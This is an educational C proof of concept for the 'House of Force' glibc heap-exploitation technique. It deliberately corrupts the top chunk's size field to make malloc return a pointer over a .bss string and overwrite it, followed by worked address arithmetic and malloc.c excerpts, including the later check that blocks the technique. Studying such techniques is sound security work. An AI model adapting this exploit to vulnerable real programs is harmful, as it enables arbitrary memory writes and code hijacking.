House of Force

/*
   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
   ( http://phrack.org/issues/66/10.html )

   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
	fprintf(stderr, "\nWelcome to the House of Force\n\n");
	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
		"and is the chunk that will be resized when malloc asks for more space from the os.\n");

	fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
	fprintf(stderr, "Its current value is: %s\n", bss_var);

	fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
	intptr_t *p1 = malloc(256);
	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

	fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
	int real_size = malloc_usable_size(p1);
	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

	fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

	//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
	fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

	fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
	fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
	fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	//------------------------

	fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
	   "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
	   "overflow) and will then be able to allocate a chunk right over the desired region.\n");

	/*
	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
	 * new_top = old_top + nb
	 * nb = new_top - old_top
	 * req + 2sizeof(long) = new_top - old_top
	 * req = new_top - old_top - 2sizeof(long)
	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
	 * req = dest - old_top - 4*sizeof(long)
	 */
	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
	fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
	   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
	void *new_ptr = malloc(evil_size);
	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

	void* ctr_chunk = malloc(100);
	fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
	fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
	fprintf(stderr, "Now, we can finally overwrite that value:\n");

	fprintf(stderr, "... old string: %s\n", bss_var);
	fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
	strcpy(ctr_chunk, "YEAH!!!");
	fprintf(stderr, "... new string: %s\n", bss_var);

	assert(ctr_chunk == bss_var);
}

// Simplified top chunk allocation from malloc.c
victim = av->top;
remainder_size = chunksize(victim) - nb;  // nb = requested size + header
if (remainder_size >= MINSIZE) {
    remainder = chunk_at_offset(victim, nb);
    av->top = remainder;
    set_head(victim, nb | PREV_INUSE);
    set_head(remainder, remainder_size | PREV_INUSE);
}

Original top chunk address: 0x603000
Target address (bss_var):   0x601060

We want: new_top = old_top + evil_size = target
So: evil_size = target - old_top - metadata
    evil_size = 0x601060 - 0x603000 - 0x20
    evil_size = 0xFFFFFFFFFFFFFE40 (negative/huge positive)

With corrupted size = -1 (0xFFFFFFFFFFFFFFFF):
    if (chunksize(top) >= nb) // Always true!
    new_top = 0x603000 + 0xFFFFFFFFFFFFFE40
            = 0x601040 (wraps around via overflow)

// Complete formula:
// new_top = old_top + (requested_size + 2*sizeof(long))
// Solving for requested_size when new_top = target:
evil_size = target_address - old_top_address - 4*sizeof(long);

// From malloc.c
if (__glibc_unlikely(chunksize(av->top) > av->system_mem)) {
    malloc_printerr("malloc(): corrupted top size");
}